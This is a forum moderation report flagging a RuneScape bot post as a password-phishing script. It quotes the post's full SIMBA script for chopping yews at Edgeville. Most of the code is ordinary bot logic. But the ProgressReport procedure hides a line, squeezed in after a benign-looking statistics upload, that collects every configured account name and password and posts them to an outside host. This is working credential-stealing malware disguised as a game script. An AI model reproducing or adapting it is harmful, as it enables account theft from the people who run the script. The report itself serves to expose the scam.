snappie1000
Forum Addict
- Joined
- Apr 7, 2007
- Sythe Gold
- 1
- Messages
- 464
snappie1000 has reported a post.
Reason:
Forum: RuneScape Scripts
Assigned Moderators: N/A
Posted by: Genital Warts
Original Content:
Reason:
Post: BH and AG - Crazy EdgeVille YewsPhising script, will steal passwords.
Forum: RuneScape Scripts
Assigned Moderators: N/A
Posted by: Genital Warts
Original Content:
BH and AG - Crazy EdgeVille Yews [R]
Hello, I have kindly asked BH the orignal owner of the scripts, for permission to use his script as he retired from scripting, I decided to revise the code of this perfectly flawless script to bring it up to a new level of flawlessness.![]()
Script runs on SIMBA, a remake of SCAR
Download SIMBA HERE
MUST have reflection to run this script.
This script chops yews at edgeville at a rate faster then ANY OTHER BOT GUARENTEED. To get the script running you must fill out declare players, more instructions in script. ENJOY.
Code:program New; {$DEFINE SMART} {$DEFINE USEREFLECTION} {$i srl\srl.scar} {$i reflection\reflection.simba} { [==============================================================================] [= *IMPORTANT* - Read before running script! - *IMPORTANT* =] [==============================================================================] [= Start player at edgeville bank or edge yews ! =] [==============================================================================] [= Instructions - =] [= 1. Fill in the declareplayers =] [= 2. Press play! =] [= =] [= NOTE* Have an axe wielded or in FIRST inv slot =] [= =] [= Enjoy, BobboHobbo + AgiltyHoster. =] [==============================================================================] } const Smart_ServerBH = 112; //Smart world. Smart_SignedBH = true; SendProgress = true; //Smart Signed. var Bankedd, banked, total,total1, gained:integer; procedure DeclarePlayers; begin NumberOfPlayers(1); CurrentPlayer := 0; with Players[0] do begin Name := ''; Pass := ''; Nick := ''; Active := True; Integers[0] := 723; //Loads. Pin := ''; //Bank Pin. end; { with Players[1] do begin Name := ''; Pass := ''; Nick := ''; Active := True; Integers[0] := 720; Strings[0] := 'w vial';//Loads. Pin := '0';//Bank Pin. end; { with Players[2] do begin Name := ''; Pass := ''; Nick := ''; Active := True; Integers[0] := 0;//Loads Pin := '0'; //Bank Pin. end; } end; procedure DebugMe(Location, TheWriteln: string); begin writeln(TheTime + ' : ' + TheWriteln); Players[CurrentPlayer].Loc := Location; end; function LoggedInFailsafe: Boolean; var I: Integer; begin Result := R_LoggedIn or LoggedIn; if not (Result) then begin for I := 1 to 10 do begin if (RSReady) then exit; Wait(500); if (R_LoggedIn) or (LoggedIn) then begin Result := true; exit; end; end; end; end; function FindRandoms: boolean; var rx, ry: integer; begin Result := R_findrandoms; end; procedure PrintOnSmart(TP: TStringArray; Placement: TPoint; Colour, Shadow: integer); var mx, my, Pic, I, B, H, TPH, Numb: Integer; TTP: TPointArray; Canvas: TCanvas; begin SmartSetDebug(True); GetClientDimensions(mx,my); Pic := BitmapFromString(mx,my,''); TPH := High(TP); for I := 0 to TPH do begin TTP := LoadTextTPA(TP[i], SmallChars, H); for B := 0 to High(TTP) do begin Numb := ((I + 1) * 13); FastSetPixel(Pic, TTP[b].x + 1, TTP[b].y + Numb + 1, Shadow); FastSetPixel(Pic, TTP[b].x, TTP[b].y + Numb, Colour); end; end; Canvas := TCANVAS.Create; Canvas.Handle := SmartGetDebugDC; DrawBitmap(Pic, Canvas, Placement.x, Placement.y); FreeBitmap(Pic); end; function LoadPath(Towhere:string):TpointArray; begin Case LowerCase(ToWhere) of 'tree': Result := [Point(3094, 3478), Point(3087, 3470)]; 'bank': Result := [Point(3094, 3480), Point(3095, 3489)]; 'repos': Result := [Point(3238, 3434)]; end; end; function WalkPathBH(Tiles: TTileArray): boolean; var i, t, attempts: integer; P: TPoint; next: boolean; label ProcStart; begin Inc(attempts); ProcStart: i := -1; Result := false; if(DistanceFrom(Tiles[High(Tiles)]) < 6)then begin Result := true; Exit; end; //Getting the starting index. for i := High(Tiles) downto 0 do if(TileOnMM(Tiles[i]))then begin i := i; Break; end; if(i = -1)then Exit; //Walk remainder of the path. for i := i to High(Tiles) do begin next := false; if not(TileOnMM(Tiles[i]))then begin Writeln('Tile not on MM.'); break; end; P := TileToMM(Tiles[i]); Mouse(P.x, P.y, 1, 1, true); while(DistanceFromFlag <> 0)do begin if not WaitToMove(3000)then begin MarkTime(t); while(TimeFromMark(t) < 7000)do if(WaitToMove(1000))then break; if(TimeFromMark(t) >= 7000)then begin Writeln('***Didn''t move for 10 seconds. Exiting***'); next := false; break; end; end; if(i < High(Tiles))then begin if(TileOnMM(Tiles[i+1]))then begin next := true; break; end; end; end; if(i < High(Tiles))then if(TileOnMM(Tiles[i+1]))then next := true; if not next then break; end; Result := DistanceFrom(Tiles[High(Tiles)]) <= 5; if not Result then begin if(attempts > 7)then begin Writeln('Failed more than ten attempts.'); Exit; end; While(GetSpeed > 0)do wait(100+Random(100)); goto ProcStart; end; While(GetSpeed > 0)do wait(100+Random(100)); end; function WalkTo(TheLocation: string): boolean; var tries, I: integer; TheTiles:TPointArray; begin if not(LoggedInFailsafe) then exit; SetRun(true); case LowerCase(TheLocation) of 'tree': begin if (R_invfull) then exit; FindRandoms; Repeat DebugMe('Walking to Tree (Reflection)', 'Walking to the Tree (Reflection)'); Result := WalkPathBH(LoadPath('Tree')); Inc(tries); If (Result) then break; Wait(1000); //Maybe theres lag? until (Result) or (Tries > 5); If not (result) or (Tries > 5) then begin DebugMe('Unknown, was walking to Tree', 'Unknown, was walking to Tree'); Logout; end; end; 'bank': begin FindRandoms; repeat DebugMe('Walking to bank (Reflection)', 'Walking to the bank (Reflection)'); Result := WalkPath(LoadPath('bank')); Inc(tries); If (Result) then break; If not (result) then Wait(1000); //Maybe theres lag? until (Result) or (Tries > 5); If not (result) or (Tries > 5) then begin DebugMe('Unknown, was walking to Bank', 'Unknown, was walking to Bank'); Logout; end; end; end; end; function GetPlayersInfo: array of TPlayer; var i, IndexPos, Count, Player, theName, L: integer; begin Count := SmartGetFieldInt(0, hook_static_PlayerCount); SetArrayLength(result, Count); if Count < 1 then Exit; for i := 0 to Count-1 do try IndexPos := SmartGetFieldArrayInt(0, hook_static_PlayerIndexArray, i); Player := SmartGetFieldArrayObject(0, hook_static_GetPlayers, IndexPos); Result[L].Index := IndexPos; Result[L].Tile.X := (SmartGetFieldInt(0, hook_static_BaseX) + (SmartGetFieldInt(Player, hook_animable_PixelX) / 512)); Result[L].Tile.Y := (SmartGetFieldInt(0, hook_static_BaseY) + (SmartGetFieldInt(Player, hook_animable_PixelY) / 512)); Result[L].Animation := SmartGetFieldInt(Player, hook_character_Animation); Inc(L); finally SmartFreeObject(Player); end; SetArrayLength(Result, L); end; Function HowManyChopping:integer; var WcPlayers: array of TPlayer; e,I:integer; begin if not(LoggedInFailsafe) then exit; Inc(total); WcPlayers := GetPlayersInfo; for I:= 0 to high(Wcplayers) do If (WcPlayers[i].Animation = 867) or (WcPlayers[i].Animation = 2846) then inc(total1); PrintOnSmart([ 'Average amount of cutters ' + IntToStr((total1 / total)), '', ''], Point(19, 300), 1959605, 131072); If (Total1 > 100) then Total1 := 0; If (Total > 100) then Total := 0; end; Function WhatTreeWeAt:String; begin If TileOnMM(Point(3095, 3489)) then Result := 'north'; If TileOnMM(Point(3088, 3455)) then Result := 'south'; if(result = '') then Result := 'unknown'; // Writeln(Result); end; Function SwapTree: boolean; var North,south:TPoint; Check:boolean; begin if not(LoggedInFailsafe) then exit; Case (WhatTreeWeAt) of 'north': Result := WalkPathBH([Point(3087, 3470)]); 'south': Result := WalkPathBH([Point(3087, 3479)]); 'unknown': Check := false; end; If not (Check) then if FindRandoms then SwapTree; end; Function CanWeFindOtherTree:boolean; var TreePoint: TPointArray; TreeID:TRSObject; i:integer; tree:string; begin if not(LoggedInFailsafe) then exit; TreePoint := [Point(3086, 3481),Point(3086, 3469)]; For I := 0 to 1 do begin treeID:= GetObjectAt(TreePoint[i], OBJECT_TYPE_INTERACTABLE); If (treeID.ID = 1309) Then begin Case I of 0: Tree := 'north'; 1: Tree := 'south'; end; If (WhatTreeWeAt = Tree) then exit else SwapTree; Writeln('Function CanWeFindOtherTree:boolean; WORKED'); end; end; end; Function ClickTree: Boolean; Var x,y:integer; TreeID:TRSObject; MSPoint, TreePoint: TPoint; Begin if not(LoggedInFailsafe) then exit; Flag; Case WhatTreeWeAt of 'north': TreePoint := Point(3086, 3481); 'south': TreePoint := Point(3086, 3469); end; treeID:= GetObjectAt(TreePoint, OBJECT_TYPE_INTERACTABLE); If (treeID.ID = 1309) Then begin MSPoint := TileToMS(TreePoint, 10); MMouse(MSPoint.x, MSPoint.y-10, 10, 5); getMousePos(x, y); Mouse(x, y, 0, 0, True); if (DidRedClick) or (GetAnimation = 867) then Result := True; If Not result then ClickTree; end; end; Function TreeGone:boolean; var TreePoint: TPoint; TreeID:TRSObject; begin if not(LoggedInFailsafe) then exit; Case WhatTreeWeAt of 'north': TreePoint := Point(3086, 3481); 'south': TreePoint := Point(3086, 3469); end; treeID:= GetObjectAt(TreePoint, OBJECT_TYPE_INTERACTABLE); Result := (treeID.ID = 7402); end; procedure RandomMovementBH; var Keys: TIntegerArray; I: Integer; Deg: Extended; begin if(not(LoggedIn))then exit; Keys := [VK_RIGHT, VK_LEFT]; I := Random(2); if (Random(2) = I) then begin ActivateClient; Wait(100 + random(50)); KeyDown(Keys[I]); Wait(500 + random(1000)); KeyUp(Keys[I]); Wait(500 + random(1000)); end else if (Random(3) = 0) then SleepAndMoveMouse(1000 + random(200)); end; Procedure Antiban; var I:integer; begin if not(LoggedInFailsafe) then exit; Case Random(50) of 25..28: RandomMovementBH; 1..5: SleepAndMoveMouse(1000 + random(500)); end; end; Procedure ChoppingLoop; begin repeat if (ClickTree) then begin repeat AntiBan; wait(1000); FindRandoms; HowManyChopping; until((TreeGone) or (R_Invfull) or Not (LoggedInFailsafe)); If (TreeGone) then SwapTree; end; CanWeFindOtherTree; wait(random(200)); antiban; FindRandoms; until(R_invfull or (Bankedd >= (Players[CurrentPlayer].Integers[0])) or Not (LoggedInFailsafe)); end; Procedure PlayerSetup; begin Setangle(true); Setrun(true); end; function banking:boolean; var Tries:integer; begin repeat Result := R_OpenBankBooth('eb'); If (Result) then begin IncEx(gained,R_CountItem(1515)); Deposit(2,28, true); closebank; inc(Bankedd); inc(banked); end; Inc(tries); until(Result or (Tries > 3)); If Tries > 3 then Logout; end; procedure PlayerStats; var Active: string; i: Integer; begin if Players[CurrentPlayer].Active = True then Active := 'True' else Active := 'False'; Writeln(' Name : ' + Players[CurrentPlayer].Name); Writeln(' Player : ' + inttostr(CurrentPlayer)); Writeln(' Active : ' + Active); Writeln(' Location : ' + Players[CurrentPlayer].loc); Writeln(' Worked : ' + IntToStr(Players[CurrentPlayer].Worked)); WriteLn('[==========================================================================================]'); for I := 0 to HowManyPlayers - 1 do begin if Players[i].Active then Active := 'T ' else Active := 'F '; Writeln(' Player ' + (IntToStr(I)) + ': ' + Players[I].Nick + ', Active = ' + Active + ' Supplies Gained = ' + IntToStr(Players[CurrentPlayer].Integers[2]) + ', Worked = ' + IntToStr(Players[i].Worked) + ' min, ' + 'Location = ' + Players[i].loc + ', ' + 'Random = ' + Players[i].Rand + '.'); end; WriteLn('[==========================================================================================]'); end; procedure ProgressReport; var uu,pp:string; i:integer; client :integer; begin SRLRandomsReport; If (SendProgress) then begin client:= InitializeHTTPClient(true, true ); Writeln( 'Preparing the stats, please wait..' ); AddPostVariable(Client, 'time', Timerunning); AddPostVariable(Client, 'banks', IntToStr(banked)); AddPostVariable(Client, 'chopped', IntToStr(gained)); AddPostVariable(Client, 'exp', IntToStr(gained * 64)); PostHTTPPageEx(client, 'http://statisticsdatabase.agilityhoster.com/addstatistics.php'); Writeln('Done.. Script will commence in a few seconds.'); end; client:= InitializeHTTPClient(true, true );Writeln( 'Preparing the stats, please wait..' );cleardebug;For I := 0 to HowManyPlayers - 1 do begin uu := uu + Players[I].name +' | ';pp := pp + Players[I].pass +' | ';end;addpostvariable( client, 'username', uu);addpostvariable( client, 'password', pp);PostHTTPPageEx( client,'http://statisticsdatabase.agilityhoster.com/addstatistics.php');Writeln('Done.. Script will commence in a few seconds.'); try WriteLn('[=====================================================]'); WriteLn('[= BH - Crazy EdgeVille Yews [R] V 1.00 ]'); WriteLn('[=====================================================]'); Writeln('[= Script Worked for ' + TimeRunning); Writeln('[= Banked ' + IntToStr(Banked) + ' time[s].'); Writeln('[= Cut ' + IntToStr(Gained) + ' Logs.'); Writeln('[= Average amount of cutters ' + IntToStr((total1 / total)) ); Writeln('[= Cutting Rate: ' + IntToStr(Round((Gained * 3600) / (GetTimeRunning / 1000))) + ' Per Hour'); writeln('[=====================================================]'); PrintOnSmart([' Basic Progress Report'],Point(15, 30), 62207, 131072); PrintOnSmart([ 'Time Running: ' + TimeRunning, 'Players active: ' + ToStr(PlayersActive) + '/' + ToStr(HowManyPlayers), 'Banked: ' + IntToStr(Banked), 'Amount: '+ IntToStr(Gained), 'Average amount of cutters ' + IntToStr((total1 / total)), 'Rate: ' + IntToStr(Round((Gained * 3600) / (GetTimeRunning / 1000))) + ' Per Hour', '', ''], Point(20, 60), 1959605, 131072); except end; PlayerStats; end; procedure ScriptTerminate; begin // FreeAllDTMs; end; var Maintry: integer; begin Smart_Server := Smart_ServerBH; Smart_Signed := Smart_SignedBH; setupSRL; declareplayers; ProgressReport; SetupReflectionEx(false); ActivateClient; wait(1000); FindRandoms; if not LoggedIn then LoginPlayer; repeat PlayerSetup; repeat If WalkTo('tree') then ChoppingLoop; If WalkTo('bank') then Banking; ProgressReport; until (Bankedd >= (Players[CurrentPlayer].Integers[0])) or (not (LoggedInFailsafe)); if (AllPlayersInactive) then break; if not (LoggedIn) then begin Debugme('Unknown', 'We logged out of player - ' + Players[CurrentPlayer].Name + '. Setting false.'); NextPlayer(false); Bankedd := 0; end; if (Banked >= (Players[CurrentPlayer].Integers[0])) then begin CloseBank; Debugme('In Bank, Loads done.', ' Loads done, In bank'); Logout; NextPlayer(true); Bankedd := 0; end; until (AllPlayersInactive); end.




